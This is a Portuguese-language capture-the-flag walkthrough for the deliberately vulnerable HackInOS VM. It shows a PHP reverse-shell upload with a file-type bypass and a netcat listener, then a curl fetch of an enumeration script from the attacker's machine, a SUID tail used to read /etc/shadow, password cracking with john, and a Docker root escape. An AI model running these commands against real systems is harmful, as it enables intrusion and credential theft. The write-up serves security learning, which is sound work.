HackInOS: 1
Name: HackInOS: 1
Date release: 9 Mar 2019
Description:
“O HackinOS é uma máquina vulnerável ao estilo CTF de nível iniciante. Criei essa VM para a comunidade de segurança cibernética da minha universidade e para todos os entusiastas da segurança cibernética. Agradeço a Mehmet Oguz Tozkoparan, Ömer Faruk Senyayla e Tufan Gungor por sua ajuda durante a criação deste laboratório.” Author: Fatih Çelik
NOTA: localhost está destinado a estar lá!
Table of Contents
Enumeration
netdiscover
Inicialmente vamos usar o netdiscover para encontrar o IP da nossa VM, porém essa máquina é possível visualizar o IP facilmente através da VM, mas geralmente isso não é possível. Então, recomendo usar o netdiscover para se acostumar.
netdiscover -i eth0 -r 192.168.111.1/24

nmap
Como de costume utilizamos o nmap em nossa enumeração inicial.
nmap -sV -sC -oA nmap/initial 192.168.111.136

Podemos observar 2 portas abertas 8000 e 22, precisamos escanear todas as portas e verificar se existe um outro serviço em uma porta mais alta.
nmap -sV -sT -p1-49152 -oA nmap/allports_tcp 192.168.111.136

Web Server
Possivelmente é um Wordpress. O site esta quebrado, vamos ajustar isso…

Todos os links estavam redirecionando para localhost, então editamos nosso hosts /etc/hosts e adicionamos o IP da VM para o localhost: Observe que comentei o padrão do kali.

Depois de realizar os ajustes, o site abre perfeitamente:

Find Vulnerabilities
robots
Enumerando um pouco mais, encontramos o robots.txt. Com um file e um dir setados como Disallow, vamos navegar ate eles.

Temos um ótimo lugar para fazer o upload de nosso payload.

Depois que for feito o upload, podemos localizá lo no dir /uploads/.

Exploitation
Locate php-reverse-shell
Agora vamos localizar um shell.php para facilitar nosso trabalho, poderíamos gerar com o msfvenom. Mas automatizar as coisas e ganhar tempo é melhor ainda.
locate php-reverse-shell

Copie para um diretório de sua escolha:

Edite de acordo com suas configurações.

Listening port
nc -lvp 1337

Upload shell
Olhando o source do upload.php, encontramos uma dica que sugere ir até o github através do link passado.

O código do upload.php podemos ver, que o arquivo é renomeado para [nomedoarquivo].php.[numero entre 1-100]

Usando bash podemos fazer isso facilmente, com o seguinte comando:
for number in $(seq 1 100); do echo -n "shell.php$number" |md5sum |sed 's/ -/.php/g' >> hashe.txt ;done

Usamos como nome de arquivo shell.php, vamos renomear nosso payload para shell.php, adicionando o GIF89a; no inicio do arquivo para fazermos o bypass.

Agora, realizamos o upload novamente.

Arquivo enviado:

Usando o WFUZZ vamos fazer um brute e encontrar nosso arquivo em /uploads/.
wfuzz -c -w hashe.txt --hc 404 http://localhost:8000/uploads/FUZZ

A porta 1337 já encontra-se em listening conforme configuramos anteriormente, em seguida acessamos nosso payload em uploads e obtemos uma reverse shell.

Previlege Escalation
Spawn Shell
Nossa shell está muito zoada, não podemos apagar que da error. Vamos ajustar e deixar nossa shell good.
python -c 'import pty;pty.spawn("/bin/bash")';
Ctrl + Z
stty -echo raw
fg

Linux PrivEsc
Particulamente eu sempre uso o LinEnum, para realizar privesc. Existem outros scripts e recomendo vocês pesquisarem. Um post legal para você iniciar é o g0tmi1k Basic Linux Privilege Escalation
File Transfer
Em um pentest é comumente necessário a transferência de arquivos, hoje vou usar o modulo webserver do python, existe varias outras formas para transferência de arquivo, talvez pode rolar ate um post explanando sobre.
python -m SimpleHTTPserver 80
Usando o curl em nossa máquina alvo, fazemos o download do Linenum.
curl http://192.168.111.128/LinEnum.sh -O LinEnum.sh

Mude as permissões do Linenum para que ele seja executado, usando o chmod +x LinEnum.sh

Execute o script: /bin/bash LinEnum.sh

Olhando o output do script, achamos algo útil que vai ajudar com nosso privilege escalation. O tail tem SUID, ou seja podemos executar como root e ler o shadow por exemplo.

Veja, com o user www-data não temos permissão. Porém o tail tem permissão de root com o SUID e ele pode ler o shadow.

Se você ler o manual tail --help pode obter mais informações de como usar:

Temos o hash do root. Vamos usar o john e obter a senha. Salve a hash em um arquivo .txt.
john --wordlist=/usr/share/wordlists/rockyou.txt root_hash.txt

Game Over: senha john

Life consists of details..
Anteriormente eu tinha visto um outro IP, de acordo com minha experiencia trata-se de um docker. Mas agora não resta dúvidas depois da mensagem da flag. Vamos continuar com nossa exploração.
Post Exploitation
Static Binaries
Vamos utilizar o binário estático do nmap para enumerar a rede 172.18.0.0.

Realizamos a transferência do nmap

Tentei usar o nmap static para poder scanear a rede, mas não consegui executar o binário. Vamos tentar de outra forma.

File Sensitive
Navegando ate o /var/www/html/ encontramos as configurações do wordpress, um arquivo importante é o wp-config.php. Creds wordpress:wordpress.

Discover IP manually
Vamos escanear de uma forma mais manual a rede. Se você não sabe, é proibido usar msfconsole na OSCP.
for ip in $(seq 1 20); do ping -c 1 172.18.0.$ip >> ips.txt ;done

grep "time=" ips.txt

Como podemos ver existe 4 ips ativos, o 172.18.0.2 é o nosso, 172.18.0.1 provavelmente seja GW, então resta 172.18.0.3 e 172.18.0.4. Vamos agora buscar as portas abertas nesses ips.
Existe uma probabilidade enorme de ter um banco de dados por conta daquelas creds que encontramos no wordpress, no qual mostra que o serviço se conecta com um banco de dados. Então, vamos testar logo portas comuns. De cara vou tentar portas como 3306, 1433 na qual são portas de DataBase.
nc -nv 172.18.0.4 3306
nc -nv 172.18.0.3 3306

Vamos tentar fazer login com as creds encontradas no wp-config.php.
mysql -u wordpress -p wordpress -h 172.18.0.3

Conseguimos conectar no mysql, vamos enumerar melhor e ver o que encontramos.
show databases;

show tables;

select * from host_ssh_cred ;

Crack Hash
Agora com a hash MD5 obtida, vamos crackeaR e obter a senha.
john --format=RAW-md5 hash_.txt
SENHA: 123456
Temos agora uma nova credencial ssh hummingbirdscyber:123456, vamos fazer login:
ssh hummingbirdscyber@192.168.111.136
password: 123456

Docker PrivEsc
Algo bem legal que encontramos em maquinas com containers, é privesc através do docker.
docker container ps

docker run -v /:/root -ti ubuntu /bin/bash
cd root/
ls
cd root/
cat flag

Congratulations!
